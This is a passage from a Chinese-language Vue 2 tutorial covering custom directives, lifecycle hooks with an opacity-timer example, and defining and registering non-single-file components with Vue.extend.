<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">// 功能强大，可以自己写函数，Vue 在不同时机调用完成不同需求</span><br><span class="hljs-keyword">new</span> Vue(&#123;<br>    <span class="hljs-attr">directives</span>: &#123;<br>        指令名：配置对象<br>    &#125;<br>&#125;)<br><br><span class="hljs-comment">// 指令与元素成功绑定时调用（一上来），指令所在的模板被重新解析时调用，插入元素时不能调用</span><br><span class="hljs-keyword">new</span> Vue(&#123;<br>     <span class="hljs-attr">directives</span>: &#123;<br>        指令名：回调函数<br>    &#125;<br>&#125;)<br></code></pre></td></tr></table></figure></li>
<li><p>全局指令：<br><code>Vue.directive(指令名,配置对象)</code> 或   <code>Vue.directive(指令名,回调函数)</code></p>
</li>
</ul>
</li>
<li><p>配置对象中常用的 3 个回调：</p>
<ul>
<li><code>bind</code>：指令与元素成功绑定时调用。</li>
<li><code>inserted</code>：指令所在元素被插入页面时调用。</li>
<li><code>update</code>：指令所在模板结构被重新解析时调用。</li>
</ul>
</li>
<li><p>备注：</p>
<ul>
<li><strong>指令定义时不加 v-，但使用时要加 v-；</strong></li>
<li>指令名如果是多个单词，要使用 <code>xxx-xxx</code> 命名方式，不要用 <code>xxxXxx</code> 命名。</li>
</ul>
</li>
</ol>
</blockquote>
<h2 id="17-生命周期"><a href="#17-生命周期" class="headerlink" title="17.生命周期"></a>17.生命周期</h2><h3 id="17-1-引入生命周期"><a href="#17-1-引入生命周期" class="headerlink" title="17.1 引入生命周期"></a>17.1 引入生命周期</h3><p><strong>实现文字透明度的连续改变</strong></p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 实现文字透明度的连续改变 --&gt;</span><br>    <span class="hljs-comment">&lt;!--&lt;h2 :style=&quot;&#123;opacity: opacity&#125;&quot;&gt;我正在学习  Vue&lt;/h2&gt;--&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span> <span class="hljs-attr">:style</span>=<span class="hljs-string">&quot;&#123;opacity&#125;&quot;</span>&gt;</span>我正在学习  Vue<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br></code></pre></td></tr></table></figure>

<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">opacity</span>: <span class="hljs-number">1</span>,</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-comment">// Vue 完成页面的解析并把初始的真实的 DOM 元素放入页面后调用 mounted</span></span><br><span class="javascript">        <span class="hljs-function"><span class="hljs-title">mounted</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">            <span class="hljs-comment">// 每 16 毫秒改变文字透明度</span></span><br><span class="javascript">            <span class="hljs-built_in">setInterval</span>(<span class="hljs-function">() =&gt;</span> &#123;</span><br><span class="javascript">                <span class="hljs-built_in">this</span>.opacity -= <span class="hljs-number">0.01</span>;</span><br><span class="javascript">                <span class="hljs-keyword">if</span> (<span class="hljs-built_in">this</span>.opacity &lt;= <span class="hljs-number">0</span>) <span class="hljs-built_in">this</span>.opacity = <span class="hljs-number">1</span>;</span><br><span class="javascript">            &#125;, <span class="hljs-number">16</span>);</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210803/soogif.4co4rx41e080.gif" srcset="/img/loading.gif" lazyload alt="soogif" style="zoom:200%;" />

<blockquote>
<p>总结：</p>
<ol>
<li>生命周期又名：生命周期回调函数、生命周期函数、<strong>生命周期钩子</strong>。</li>
<li>生命周期是什么：Vue 在关键时刻帮我们调用的一些特殊名称的函数。</li>
<li>生命周期函数的<strong>名字不可更改</strong>，但函数的具体内容是程序员根据需求编写的。</li>
<li>生命周期函数中的 <strong>this 指向是 vm 或 组件实例对象。</strong></li>
</ol>
</blockquote>
<h3 id="17-2-分析生命周期"><a href="#17-2-分析生命周期" class="headerlink" title="17.2 分析生命周期"></a>17.2 分析生命周期</h3><p><a target="_blank" rel="noopener" href="https://cn.vuejs.org/v2/guide/instance.html#%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E5%9B%BE%E7%A4%BA">Vue 的生命周期</a></p>
<p><a target="_blank" rel="noopener" href="https://www.bilibili.com/video/BV1Zy4y1K7SH?p=48">视频讲解</a></p>
<img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210803/生命周期.5gf7i7daf5s0.png" srcset="/img/loading.gif" lazyload alt="生命周期" />

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210803/image.3arf6c485xw0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<h4 id="17-2-1-挂载流程"><a href="#17-2-1-挂载流程" class="headerlink" title="17.2.1 挂载流程"></a>17.2.1 挂载流程</h4><p>Vue 初始化、执行数据监测、数据代理、解析模板并在页面中呈现编译后的 DOM 的过程。这个过程中 Vue 为我们提供了四个生命周期钩子。</p>
<ol>
<li><p><code>beforeCreate()</code>：在初始化数据监测和进行<strong>数据代理前</strong>会执行，此时<strong>无法通过 vm 实例访问</strong> data 中的数据和 methods 中的方法。</p>
</li>
<li><p><code>created()</code>：在初始化数据监测和进行<strong>数据代理完成后</strong>会执行，此时<strong>就可以通过 vm 实例访问</strong> data 中的数据和 methods 中的方法。但此时，页面是还有数据的，因为 Vue 还没有解析模板。</p>
</li>
<li><p><code>beforeMount()</code>：在 Vue 解析完模板生成虚拟 DOM 之后执行，但此时页面上的数据是没有经过解析的，即模板中写了啥就显示啥，但是由于执行速度是极快的，我们是看不到这一过程的。</p>
</li>
<li><p><code>mounted()</code>：在 Vue 将虚拟 DOM 转为真实 DOM 并插入到页面上时执行，此时页面上的数据就是经过 Vue 解析的了，是我们要的数据。在这一时刻，我们就可以做一些初始化操作。</p>
</li>
</ol>
<h4 id="17-2-2-更新流程"><a href="#17-2-2-更新流程" class="headerlink" title="17.2.2 更新流程"></a>17.2.2 更新流程</h4><p>当 Vue 监视的数据发生变化后，Vue 会根据新的数据生成新的虚拟 DOM，并和老的虚拟 DOM 进行比较，最终完成页面刷新。在这一操作的前后，Vue 为我们提供了两个声明周期钩子。</p>
<ol>
<li><code>beforeUpdate()</code>：在数据更新前执行，此时数据已经是更新好，但是页面中的数据还是旧的。</li>
<li><code>updated()</code>：在数据更新完毕之后执行，此时数据是新的，页面也是新的。</li>
</ol>
<h4 id="17-2-3-销毁流程"><a href="#17-2-3-销毁流程" class="headerlink" title="17.2.3 销毁流程"></a>17.2.3 销毁流程</h4><p>当执行了 <code>vm.$destory()</code> 方法销毁 vm 实例会触发连个生命周期钩子。</p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210803/image.3f2p6a3rkx60.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<ol>
<li><code>beforeDestory()</code>：vm 中的 data、methods、指令都处于可用的状态（<strong>但此时已经不能对数据进行更新了</strong>），马上要执行销毁操作，此时可以进行一些收尾的操作。</li>
<li><code>destoryed()</code>：vm 实例被销毁后执行。</li>
</ol>
<h3 id="17-3-总结生命周期"><a href="#17-3-总结生命周期" class="headerlink" title="17.3 总结生命周期"></a>17.3 总结生命周期</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 实现文字透明度的连续改变 --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span> <span class="hljs-attr">:style</span>=<span class="hljs-string">&quot;&#123;opacity&#125;&quot;</span>&gt;</span>我正在学习  Vue<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 按下按钮后，停止计时器，并销毁 vm --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;stop&quot;</span>&gt;</span>停止变化<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br></code></pre></td></tr></table></figure>

<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">opacity</span>: <span class="hljs-number">1</span>,</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">methods</span>: &#123;</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">stop</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-built_in">this</span>.$destroy();</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-comment">// Vue 完成页面的解析并把初始的真实的 DOM 元素放入页面后调用 mounted</span></span><br><span class="javascript">        <span class="hljs-function"><span class="hljs-title">mounted</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">            <span class="hljs-built_in">this</span>.timer = <span class="hljs-built_in">setInterval</span>(<span class="hljs-function">() =&gt;</span> &#123;</span><br><span class="javascript">                <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&quot;我是 timer，我在工作&quot;</span>)</span><br><span class="javascript">                <span class="hljs-built_in">this</span>.opacity -= <span class="hljs-number">0.01</span>;</span><br><span class="javascript">                <span class="hljs-keyword">if</span> (<span class="hljs-built_in">this</span>.opacity &lt;= <span class="hljs-number">0</span>) <span class="hljs-built_in">this</span>.opacity = <span class="hljs-number">1</span>;</span><br><span class="javascript">            &#125;, <span class="hljs-number">16</span>);</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-function"><span class="hljs-title">beforeDestroy</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">            <span class="hljs-comment">// 在销毁 vm 前停止即使器</span></span><br><span class="javascript">            <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&quot;vm 快要没了，我 timer 也快没了&quot;</span>)</span><br><span class="javascript">            <span class="hljs-built_in">clearInterval</span>(<span class="hljs-built_in">this</span>.timer);</span><br><span class="javascript">            <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&quot;timer：我人没了&quot;</span>)</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210803/image.1iilmbshx800.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<blockquote>
<p>总结生命周期：</p>
<ol>
<li><p>常用的生命周期钩子：</p>
<ol>
<li><code>mounted</code>: 可以发送 ajax 请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。</li>
<li><code>beforeDestroy</code>: 可以清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。</li>
</ol>
</li>
<li><p>关于销毁 Vue 实例</p>
<ol>
<li>销毁后借助 Vue 开发者工具看不到任何信息。</li>
<li>销毁后自定义事件会失效，但原生 DOM 事件依然有效。</li>
<li>一般不会在 beforeDestroy 操作数据，因为即便操作数据，也不会再触发更新流程了。</li>
</ol>
</li>
</ol>
</blockquote>
<h2 id="18-非单文件组件"><a href="#18-非单文件组件" class="headerlink" title="18.非单文件组件"></a>18.非单文件组件</h2><h3 id="18-1-组件引入"><a href="#18-1-组件引入" class="headerlink" title="18.1 组件引入"></a>18.1 组件引入</h3><p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210803/%E4%BC%A0%E7%BB%9F%E6%96%B9%E5%BC%8F%E7%BC%96%E5%86%99%E5%BA%94%E7%94%A8.5e6rhd6oavk0.png" srcset="/img/loading.gif" lazyload alt="传统方式编写应用"></p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210803/%E4%BD%BF%E7%94%A8%E7%BB%84%E4%BB%B6%E6%96%B9%E5%BC%8F%E7%BC%96%E5%86%99%E5%BA%94%E7%94%A8.31iij4jj7us0.png" srcset="/img/loading.gif" lazyload alt="使用组件方式编写应用"></p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210803/%E7%BB%84%E4%BB%B6%E7%9A%84%E5%AE%9A%E4%B9%89.6g49ftoddyo0.png" srcset="/img/loading.gif" lazyload alt="组件的定义"></p>
<h3 id="18-2-模块与组件、模块化与组件化"><a href="#18-2-模块与组件、模块化与组件化" class="headerlink" title="18.2 模块与组件、模块化与组件化"></a>18.2 模块与组件、模块化与组件化</h3><p><code>模块</code>：</p>
<ol>
<li>理解: 向外提供特定功能的 js 程序, 一般就是一个 js 文件</li>
<li>为什么: js 文件很多很复杂</li>
<li>作用: 复用 js, 简化 js 的编写, 提高 js 运行效率</li>
</ol>
<p><code>组件</code>：</p>
<ol>
<li>理解: 用来实现局部(特定)功能效果的代码集合(html/css/js/image…..)</li>
<li>为什么: 一个界面的功能很复杂</li>
<li>作用: 复用编码, 简化项目编码, 提高运行效率</li>
</ol>
<p><code>模块化</code>：当应用中的 js 都以模块来编写的, 那这个应用就是一个模块化的应用。</p>
<p><code>组件化</code>：当应用中的功能都是多组件的方式来编写的, 那这个应用就是一个组件化的应用。组件中的 js 也可以模块化。</p>
<h3 id="18-3-基本使用"><a href="#18-3-基本使用" class="headerlink" title="18.3 基本使用"></a>18.3 基本使用</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 1、创建一个 school 组件</span></span><br><span class="javascript">    <span class="hljs-keyword">const</span> school = Vue.extend(&#123;</span><br><span class="javascript">        <span class="hljs-comment">// 组件定义时一定不要写 el 配置项，因为作用所有的组件都要被一个 vm 实例管理，由 vm 决定服务于哪个容器</span></span><br><span class="javascript">        <span class="hljs-comment">// el: &#x27;#root&#x27;,</span></span><br><span class="javascript">        <span class="hljs-attr">template</span>: <span class="hljs-string">`</span></span><br><span class="hljs-string"><span class="javascript">          &lt;div&gt;</span></span><br><span class="hljs-string"><span class="javascript">              &lt;h2&gt;学校名称：&#123;&#123;schoolName&#125;&#125;&lt;/h2&gt;</span></span><br><span class="hljs-string"><span class="javascript">              &lt;h2&gt;学校地址：&#123;&#123;schoolAddress&#125;&#125;&lt;/h2&gt;</span></span><br><span class="hljs-string"><span class="javascript">              &lt;button @click=&quot;showSchoolName&quot;&gt;点我提示学校名&lt;/button&gt;</span></span><br><span class="hljs-string"><span class="javascript">          &lt;/div&gt;`</span>,</span><br><span class="javascript">        <span class="hljs-function"><span class="hljs-title">data</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">            <span class="hljs-keyword">return</span> &#123;</span><br><span class="javascript">                <span class="hljs-attr">schoolName</span>: <span class="hljs-string">&quot;尚硅谷&quot;</span>,</span><br><span class="javascript">                <span class="hljs-attr">schoolAddress</span>: <span class="hljs-string">&quot;北京&quot;</span></span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">methods</span>: &#123;</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">showSchoolName</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">                alert(<span class="hljs-built_in">this</span>.schoolName);</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;)</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 1、创建一个 student 组件</span></span><br><span class="javascript">    <span class="hljs-keyword">const</span> student = Vue.extend(&#123;</span><br><span class="javascript">        <span class="hljs-attr">template</span>: <span class="hljs-string">`</span></span><br><span class="hljs-string"><span class="javascript">          &lt;div&gt;</span></span><br><span class="hljs-string"><span class="javascript">              &lt;h2&gt;学生姓名：&#123;&#123;studentName&#125;&#125;&lt;/h2&gt;</span></span><br><span class="hljs-string"><span class="javascript">              &lt;h2&gt;学生年龄：&#123;&#123;studentAge&#125;&#125;&lt;/h2&gt;</span></span><br><span class="hljs-string"><span class="javascript">          &lt;/div&gt;`</span>,</span><br><span class="javascript">        <span class="hljs-function"><span class="hljs-title">data</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">            <span class="hljs-keyword">return</span> &#123;</span><br><span class="javascript">                <span class="hljs-attr">studentName</span>: <span class="hljs-string">&quot;张三&quot;</span>,</span><br><span class="javascript">                <span class="hljs-attr">studentAge</span>: <span class="hljs-number">20</span></span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;)</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 1、创建hello组件</span></span><br><span class="javascript">    <span class="hljs-keyword">const</span> hello = Vue.extend(&#123;</span><br><span class="javascript">        <span class="hljs-attr">template</span>:<span class="hljs-string">`</span></span><br><span class="hljs-string"><span class="javascript">				&lt;div&gt;</span></span><br><span class="hljs-string"><span class="javascript">					&lt;h2&gt;你好啊！&#123;&#123;name&#125;&#125;&lt;/h2&gt;</span></span><br><span class="hljs-string"><span class="javascript">				&lt;/div&gt;</span></span><br><span class="hljs-string"><span class="javascript">			`</span>,</span><br><span class="javascript">        <span class="hljs-function"><span class="hljs-title">data</span>(<span class="hljs-params"></span>)</span>&#123;</span><br><span class="javascript">            <span class="hljs-keyword">return</span> &#123;</span><br><span class="javascript">                <span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;Tom&#x27;</span></span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;)</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 2、注册组件（全局）</span></span><br><span class="javascript">    Vue.component(<span class="hljs-string">&#x27;hello&#x27;</span>, hello);</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-comment">// 2、注册组件（局部）</span></span><br><span class="javascript">        <span class="hljs-attr">components</span>: &#123;</span><br><span class="javascript">            school,</span><br><span class="javascript">            student</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">msg</span>: <span class="hljs-string">&quot;我是老大，下面是我小弟&quot;</span></span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>&#123;&#123;msg&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">hr</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 3、编写组件标签 --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">school</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">school</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">school</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">school</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">hr</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">student</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">student</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">student</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">student</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">hr</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">hello</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">hello</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br></code></pre></td></tr></table></figure>

<img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210803/image.7izlpcmg5ks.png" srcset="/img/loading.gif" lazyload alt="image" style="zoom:80%;" />

<blockquote>
<p>总结：</p>
<ol>
<li><p>Vue 中使用组件的<strong>三大步骤</strong>：</p>
<ol>
<li>定义组件(创建组件)</li>
<li>注册组件</li>
<li>使用组件(写组件标签)</li>
</ol>
</li>
<li><p>如何定义一个组件？</p>
<p>使用 <code>Vue.extend(options)</code> 创建，其中 options 和 new Vue(options) 时传入的那个 options 几乎一样，但也有点区别，区别如下：</p>
<ol>
<li><strong>el 不要写</strong>，为什么？ ——— 最终所有的组件都要经过一个 vm 的管理，由 vm 中的 el 决定服务哪个容器。</li>
<li><strong>data 必须写成函数</strong>，为什么？ ———— 避免组件被复用时，数据存在引用关系。</li>
<li><strong>备注：使用 template 可以配置组件结构。</strong></li>
</ol>
</li>
<li><p>如何注册组件？</p>
<ul>
<li>局部注册：靠 new Vue 的时候传入 components 选项。</li>
<li>全局注册：靠 <code>Vue.component(&#39;组件名&#39;,组件)</code>。</li>
</ul>
</li>
<li><p>编写组件标签：<code>&lt;组件名&gt;&lt;/组件名&gt;</code> 如 <code>&lt;school&gt;&lt;/school&gt;</code></p>
</li>
</ol>
</blockquote>
<h3 id="18-4-几个注意点"><a href="#18-4-几个注意点" class="headerlink" title="18.4 几个注意点"></a>18.4 几个注意点</h3><ol>
<li><p><strong>关于组件名:</strong></p>
<ul>
<li>一个单词组成：<ol>
<li>第一种写法(首字母小写)：<code>school</code></li>
<li>第二种写法(首字母大写)：<code>School</code></li>
</ol>
</li>
<li>多个单词组成：<ol>
<li>第一种写法( kebab-case命名 )：<code>my-school</code></li>
<li>第二种写法( CamelCase命名 )：<code>MySchool</code> (<strong>需要Vue脚手架支持</strong>)</li>
</ol>
</li>
<li>备注：<ol>
<li>组件名尽可能回避 HTML 中已有的元素名称，例如：h2、H2 都不行。</li>
<li>可以使用 <strong>name 配置项指定组件在开发者工具中呈现的名字</strong>。</li>
</ol>
</li>
</ul>
</li>
<li><p><strong>关于组件标签:</strong></p>
<ul>
<li>第一种写法：<code>&lt;school&gt;&lt;/school&gt;</code></li>
<li>第二种写法：<code>&lt;school/&gt;</code></li>
<li>备注：<strong>不用使用脚手架时，<code>&lt;school/&gt;</code> 会导致后续组件不能渲染</strong>。</li>
</ul>
</li>
<li><p><strong>定义组件的一个简写方式：</strong></p>
<p><code>const school = Vue.extend(options)</code> 可简写为：<code>const school = options</code></p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">const</span> school = &#123;<br>    <span class="hljs-attr">template</span>: <span class="hljs-string">`...`</span>,<br>    <span class="hljs-function"><span class="hljs-title">data</span>(<span class="hljs-params"></span>)</span> &#123;<br>        ...<br>    &#125;<br>&#125;<br></code></pre></td></tr></table></figure></li>
</ol>
